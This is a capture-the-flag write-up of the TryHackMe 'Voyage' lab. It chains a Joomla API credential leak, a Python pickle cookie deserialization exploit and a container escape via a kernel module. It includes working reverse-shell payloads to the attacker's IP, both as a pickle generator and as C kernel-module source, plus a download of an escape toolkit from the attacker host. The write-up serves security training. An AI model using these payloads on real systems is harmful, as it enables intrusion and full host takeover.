TryHackMe - Voyage¶
Introduction¶
OS: Linux
URL: Voyage
Level: Medium
Voyage is a room on TryHackMe that challenges users to chain multiple vulnerabilities to gain control of a system. You start with a Joomla CMS vulnerability (CVE-2023-23752) to find credentials for the root user. After SSHing in, you discover that you’re inside a Docker container without any special privileges. From there, you need to scan the internal network to find another custom web application, compromise it using a Python Pickle deserialization vulnerability, and get a reverse shell. Finally, you escape the Docker container by abusing privileges granted to it by loading a malicious kernel module.
Recon¶
Run a full nmap
port scan to find all open ports.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ sudo nmap --min-rate=10000 -vv $IP -p-
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 60
2222/tcp open EtherNetIP-1 syn-ack ttl 59
┌──(kali㉿kali)-[~/THM/voyage]
└─$ sudo nmap --min-rate=10000 -vv $IP -p 22,80,2222 -sC -sV
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:2b:74:8e:77:05:b6:31:4c:63:80:3a:0b:5f:d2:8a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAEcR7ecS26A5yfX3GF0B+BHuYytNTrUFvryc6yuTFmN1/YaCSlwOqexDt2j5NYL+4/Nn95JE/saOdqaOyHj98Y=
| 256 5b:00:53:c3:68:93:ad:32:d9:5e:a6:ba:90:66:74:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMf9KaRfKjmuxZlxr4yixJcKyKU/4E/XiLYi7xD6RY16
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
2222/tcp open ssh syn-ack ttl 59 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:4a:7e:34:01:09:f8:68:d8:f7:dd:b8:57:d4:17:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz/n1suuz6HaHPVd2xTazVEYBisK33ojSezemJVDmXtdYoHNuHIe1iwdd4WyJbiZDhx0N9lwHqalo/c9jjoEuxCvrh/7I4PdjWm2+fGqJqREJSLwoIjBI6HutsCyQ+/gO08pTNg1Y85eopMIbREmxRyxOhG2RpQUSLvYi4pWR325y/ZpLTdKLvNQaRR863g5z0mHx8gUWHB+8nwAI0YjOgdTKnQV4vsI5K53AYKkYq44hN0P77SxOBRO+IASek2gGVmLAIWRhQF0MvU8K9cpNcV3Ge4oxtJzZzFFC0BV4O6BeD781r8YG1qj9/3LJDNaQpdRszUZ/Rm/6JL/DQDy/474uyflHaidHwNRhKnzEx9obinCl0HTryORtXFV98rH4P2O8YAadSzNU/N1l0ImiOC9jU7tzvpALGf8qtP0MkezdoFK//Chf8VW1TrMyfMZUK+6e2e8ZkhzryoAEMwEPhBEPunLOJUiPwtq7Wsdn3hjWsS1zER0VP1yJwyrU7eWs=
| 256 8d:cd:5e:60:35:c8:65:66:3a:c5:5c:2f:ac:62:93:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAm0NsbbMnOBFlJJH0sYuGVfu3ahM1H6o2hZqyo7bs3GcEQMi/vT030XG88DKWEvu1POpSbZOuM4ndVZlEsigMc=
| 256 a9:d5:16:b1:5d:4a:4c:94:3f:fd:a9:68:5f:24:ee:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgsnqsQDVsJFVPmfDtqciSH0aDYUjAGT3+N3zEp/GGH
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are three open ports: 22 (SSH), 80 (HTTP), and 2222 (SSH). The HTTP server is running Joomla CMS.
Using the -vv
flag with nmap
provides verbose output, along with the TTL values of the responses. SSH running on port 2222
has a lower TTL value (59) compared to the SSH on port 22
(60), indicating that it might be running on a VM/container.
Exploitation¶
Joomla RCE (CVE-2023-23752)¶
The Nmap scan identified the application running on port 80
as Joomla CMS. There are multiple ways to identify it ex: checking the technology stack using tools like wappalyzer
or whatweb
Heading over to the administrator
page listed in the robots.txt
file, also helps you identify the application as Joomla.
Like wpscan
for WordPress, joomscan
is a tool to scan Joomla CMS for vulnerabilities. Running joomscan
reveals the Joomla version is 4.2.7
, which is vulnerable to CVE-2023-23752.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ joomscan -u http://10.201.36.152/
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://10.201.36.152/ ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 4.2.7
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
....
Joomla 4.0.0 through 4.2.7 is vulnerable to improper access check
which allows unauthenticated users to access several sensitive webservice endpoints by appending ?public=true
to the request query string.
You can find a detailed vulnerability analysis here.
But for our use case, we just need two endpoints:
/api/index.php/v1/users?public=true
: This endpoint lists all users on the Joomla instance./api/index.php/v1/config/application?public=true
: This endpoint reveals sensitive configuration details, including database credentials.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl 'http://10.201.36.152/api/index.php/v1/users?public=true' -s | jq .
{
"links": {
"self": "http://10.201.36.152/api/index.php/v1/users?public=true"
},
"data": [
{
"type": "users",
"id": "377",
"attributes": {
"id": 377,
"name": "root",
"username": "root",
"email": "[email protected]",
[...SNIP...]
}
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl 'http://10.201.36.152/api/index.php/v1/config/application?public=true' -s | jq .
{
"links": {
"self": "http://10.201.36.152/api/index.php/v1/config/application?public=true",
"next": "http://10.201.36.152/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
"last": "http://10.201.36.152/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
},
"data": [
[...SNIP...]
{
"type": "application",
"id": "224",
"attributes": {
"user": "root",
"id": 224
}
},
{
"type": "application",
"id": "224",
"attributes": {
"password": "**READACTED**@1234",
"id": 224
}
[...SNIP...]
}
The above credentials are for the database configured with Joomla. But they're not reused for the Joomla admin user.
However, trying to log in as root
to one of the SSH ports works.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 22
[email protected]: Permission denied (publickey).
┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 2222
[email protected]'s password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)
root@f5eb774507f2:~# whoami
root
root@f5eb774507f2:~# hostname
f5eb774507f2
root@f5eb774507f2:~# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.100.10 f5eb774507f2
root@f5eb774507f2:~# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Jun 25 18:01 /.dockerenv
The hostname, IP and the existence of the file /.dockerenv
indicates that we're inside a Docker container. Scanning for any special privileges that would allow you to escape the container yields no results (More on this later).
Internal Network Recon¶
root@f5eb774507f2:~# cat .bash_history
ls
curl
nmap
socat
exit
root@f5eb774507f2:~# which nmap
/usr/bin/nmap
The .bash_history
file lists some past commands. The nmap
binary is of particular interest, as it can be used to scan the internal network for other containers/hosts.
It seems that Nmap
binary is already present inside the container.
Tip
Even if Nmap wasn't present, we could have used a static version of nmap to run the same scans as shown here
root@f5eb774507f2:~# nmap 192.168.100.0/24 -p- --min-rate=10000 -sC -sV -n
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-30 10:52 UTC
Nmap scan report for 192.168.100.1
Host is up (0.0000050s latency).
Scanned at 2025-08-30 10:52:25 UTC for 100s
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
|_http-generator: Joomla! - Open Source Content Management
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
5000/tcp open tcpwrapped
MAC Address: 02:42:FB:4B:2C:F1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.100.12
Host is up (0.0000060s latency).
Scanned at 2025-08-30 10:52:25 UTC for 100s
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.1.3 Python/3.10.12
| Date: Sat, 30 Aug 2025 10:52:34 GMT
[...SNIP...]
MAC Address: 02:42:C0:A8:64:0C (Unknown)
Scanning 192.168.100.10 [65535 ports]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 5000
on host 192.168.100.12
appears to be a new service not discovered during the initial nmap scan.
Port 5000
is running Werkzeug/3.1.3
, which is the web server library used by Flask as its default server.
Using SSH, let's forward port 5000
to our local machine.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 2222 -L 5000:192.168.100.12:5000 -N
[email protected]'s password:
┌──(kali㉿kali)-[~/THM/voyage]
└─$ ss -lntp | grep 5000
LISTEN 0 128 127.0.0.1:5000 0.0.0.0:* users:(("ssh",pid=388335,fd=5))
LISTEN 0 128 [::1]:5000 [::]:* users:(("ssh",pid=388335,fd=4))
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl -I localhost:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.10.12
Date: Sat, 30 Aug 2025 11:10:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1942
Connection: close
After forwarding, a request to localhost:5000
returns a valid response indicating the service is reachable.
Python Pickle RCE¶
The web page shows a simple login page which accepts any username and password and redirects to a dashboard where the username is reflected back to the user.
My first thought was to check for SSTI (Server Side Template Injection) since the username is reflected back to the user, but it wasn't vulnerable.
When logging in, the page seems to set a cookie that contains the username and the Revenue
value in a serialized format.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ echo 8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383530303094752e | xxd -r -p | xxd
00000000: 8004 952a 0000 0000 0000 007d 9428 8c04 ...*.......}.(..
00000010: 7573 6572 948c 0974 6573 746c 6f67 696e user...testlogin
00000020: 948c 0772 6576 656e 7565 948c 0538 3530 ...revenue...850
00000030: 3030 9475 2e 00.u.
The cookie doesn't seem to be signed in any way. We can test this by modifying the cookie value with a string of the same length and seeing if the application still parses it correctly.
In this case, I'll modify the revenue field and change the revenue from 85000
to 88888
, since this value is reflected on the webpage if the cookie is parsed correctly.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ echo 8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e | xxd -r -p | xxd
00000000: 8004 952a 0000 0000 0000 007d 9428 8c04 ...*.......}.(..
00000010: 7573 6572 948c 0974 6573 746c 6f67 696e user...testlogin
00000020: 948c 0772 6576 656e 7565 948c 0538 3838 ...revenue...888
00000030: 3838 9475 2e 88.u.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl localhost:5000 -b "session_data=8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e" -s | html2text
🔐 Secret Panel
* Login (Under Dev)
**** 🏝️ Welcome testlogin ****
📊 Quarterly Revenue: $88888
Investor ID Name Investment ($) Status
INV-007 John Matrix 2,500,000 Active
....
Since the web application is using Python (Werkzeug / Flask), it's most likely that the serialization is handled by the Python pickle
module.
We can verify this by deserializing the cookie value using Python's pickle
.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ python3
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> import binascii
>>> session_data = "8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e"
>>> pickle.loads(binascii.unhexlify(session_data))
{'user': 'testlogin', 'revenue': '88888'}
The above confirms that the cookie is serialized using the Python pickle
module and should be similar to the web application's code that handles the cookie.
Since the payload is not signed, we can use a well-known Python pickle
deserialization RCE exploit to get a reverse shell.
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/10.17.16.161/445 0>&1"',))
# build pickle payload
payload = pickle.dumps(RCE())
print("[*] Malicious cookie value:")
# get the hex value
print(payload.hex())
Use the cookie value generated by the gen_cookie.py
script to get a reverse shell.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ python gen_cookie.py
[*] Malicious cookie value:
8004954e000000000000008c05706f736978948c0673797374656d9493948c3362617368202d63202262617368202d69203e26202f6465762f7463702f31302e31372e31362e3136312f34343520303e26312294859452942e
┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl localhost:5000 -b "session_data=8004954e000000000000008c05706f736978948c0673797374656d9493948c3362617368202d63202262617368202d69203e26202f6465762f7463702f31302e31372e31362e3136312f34343520303e26312294859452942e" -s
After triggering the exploit, we get a reverse shell from the finance app container as root and can read user.txt
.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.36.152] 48746
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@d221f7bc7bf8:/finance-app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@d221f7bc7bf8:/finance-app# cat /etc/hosts
127.0.0.1 localhost
...
192.168.100.12 d221f7bc7bf8
root@d221f7bc7bf8:~# cat /root/user.txt
THM{**REDACTED**}
We are now inside another container (.12
) as the root
user.
Container Escape¶
We can now run privilege escalation checks to see if there are any vulnerabilities that can be exploited to escape the container.
linpeas.sh
, deepce.sh
and cdk-team/cdk
are some of the most used tools for container enumeration and escape.
- with linpeas.sh
- with deepce.sh
root@d221f7bc7bf8:~# bash deepce.sh
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
- with cdk
root@d221f7bc7bf8:~# curl 10.17.16.161/cdk_linux_amd64 -o cdk
curl 10.17.16.161/cdk_linux_amd64 -o cdk
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9.9M 100 9.9M 0 0 2653k 0 0:00:03 0:00:03 --:--:-- 2653k
root@d221f7bc7bf8:~# chmod +x cdk
root@d221f7bc7bf8:~# ./cdk eva --full
CDK (Container DucK)
CDK Version(GitCommit): b4105424a2f329020c388e6e16a42e9bb31ef501
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/
[ Information Gathering - Commands and Capabilities ]
2025/08/30 12:35:32 available commands:
curl,find,ps,python3,apt,dpkg,capsh,mount,gcc,g++,make,base64,perl
2025/08/30 12:35:32 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
CapInh: 0000000000000000
CapPrm: 00000000a80525fb
CapEff: 00000000a80525fb
CapBnd: 00000000a80525fb
CapAmb: 0000000000000000
Cap decode: 0x00000000a80525fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_MODULE,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
Added capability list: CAP_SYS_MODULE
[*] Maybe you can exploit the Capabilities below:
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
As all the tools indicate CAP_SYS_MODULE
capability is enabled, we can use this to escape the container by loading a malicious kernel module and since docker container shares the kernel with the host, we can use this to get a root shell on the host itself.
Here is a hacktricks article that depicts this attack here
- create a reverse-shell.c file
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.17.16.161/445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
- create a Makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
- run
make
to compile the kernel module
root@d221f7bc7bf8:/tmp# make
make
make -C /lib/modules/6.8.0-1031-aws/build M=/tmp modules
make[1]: *** /lib/modules/6.8.0-1031-aws/build: No such file or directory. Stop.
make: *** [Makefile:4: all] Error 2
root@d221f7bc7bf8:/tmp# uname -r
6.8.0-1031-aws
root@d221f7bc7bf8:/tmp# ls /lib/modules/
total 8
drwxr-xr-x 2 root root 4096 Jun 17 20:16 6.8.0-1029-aws
drwxr-xr-x 2 root root 4096 Jun 26 18:34 6.8.0-1030-aws
The first make
attempt failed because /lib/modules/6.8.0-1031-aws/build
did not exist. uname -r
reported 6.8.0-1031-aws
, but under /lib/modules/
only 6.8.0-1029-aws
and 6.8.0-1030-aws
directories were available. Normally, /lib/modules/<version>/build
points to the kernel headers for the running kernel, and modules must be built against the exact version shown by uname -r
.
Since the correct headers weren't present, we can try to instead build the module against the available 6.8.0-1030-aws
headers and see if it works.
- fix the Makefile to use the available headers
obj-m +=reverse-shell.o
all:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules
clean:
make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
with this now we can compile the kernel module and load it
┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
root@d221f7bc7bf8:~/test# make
make -C /lib/modules/6.8.0-1030-aws/build M=/root/test modules
make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws'
warning: the compiler differs from the one used to build the kernel
The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
You are using: gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
CC [M] /root/test/reverse-shell.o
MODPOST /root/test/Module.symvers
CC [M] /root/test/reverse-shell.mod.o
LD [M] /root/test/reverse-shell.ko
BTF [M] /root/test/reverse-shell.ko
Skipping BTF generation for /root/test/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'
root@d221f7bc7bf8:~/test# insmod reverse-shell.ko
We should now have a reverse shell as root from the host machine.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.36.152] 60072
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@tryhackme-2404:/# id
uid=0(root) gid=0(root) groups=0(root)
root@tryhackme-2404:/# cat /root/root.txt
THM{**REDACTED**}